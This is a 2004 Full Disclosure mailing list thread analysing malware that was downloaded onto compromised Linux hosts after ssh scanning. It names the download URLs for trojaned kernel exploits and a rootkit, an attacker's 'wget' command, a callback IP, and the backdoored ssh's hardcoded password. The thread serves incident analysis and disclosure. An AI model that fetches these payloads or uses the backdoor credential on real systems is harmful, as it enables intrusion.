Full Disclosure mailing list archives

Re: Automated ssh scanning


From: "VeNoMouS" <venom () gen-x co nz>
Date: Fri, 27 Aug 2004 13:40:01 +1200

lol the amount of people still trying to work out what these binarys are is amusing, i already broke down what each package was and mailed it to full disclosure over 24hrs ago, dont you people read threads?

I'll post it again.....

www.bo2k-rulez.net/a
kernel do_brk exploit by isec - http://www.k-otik.com/exploits/12.05.hatorihanzo.c.php, infected with rst.b , which when run tries to connect to 207.66.155.21 on port 80
requesting /~telecom69/gov.php which is offline.


www.corbeanu.as.ro/t.gz
Ptrace/kmod kernel exploit by isec - http://www.k-otik.com/exploits/03.30.kernel.c.php

http://roarmy.com/god.tgz
root kit with backdoor'd ssh listens on port 26000 which replaces smbd
binary, loggin of the ssh connections goes to /usr/include/iceconf.h , also
has a crappy tcp sniffer which logs to /usr/lib/libice.log,and a syn flooder

***** backdoor password for this ssh door is ice4budu

www.generatiapro.go.ro/fast.tgz
emech setup for undernet to join #tty.



----- Original Message ----- From: "Ron DuFresne" <dufresne () winternet com>
To: "Gary E. Miller" <gem () rellim com>
Cc: "Deigo Dude" <deigodude () aol com>; <full-disclosure () lists netsys com>
Sent: Friday, August 27, 2004 11:59 AM
Subject: Re: [Full-disclosure] Automated ssh scanning



Howdy Gary,

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Yo All!

On Thu, 26 Aug 2004, Deigo Dude wrote:

> Maybe running this test again, and this time ...

No need to run the test again.

- From the .history I duplicated this:

 wget www.bo2k-rulez.net/a

Then did this to see the strings in the binary:

 strings a | less

This string looked ineresting:

 Kernel seems not to be vulnerable

A google on that string yields the exloit:

 http://www.k-otik.com/exploits/12.05.hatorihanzo.c.php

A simple exploit for the well known do_brk bug in the Linux kernel...


Cool, I was incrrect in assuning this was a fully patched system and the
compromise likely being an application sploit it appears.


Thanks,

Ron DuFresne
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"Cutting the space budget really restores my faith in humanity.  It
eliminates dreams, goals, and ideals and lets us get straight to the
business of hate, debauchery, and self-annihilation." -- Johnny Hart
***testing, only testing, and damn good at it too!***

OK, so you're a Ph.D.  Just don't touch anything.


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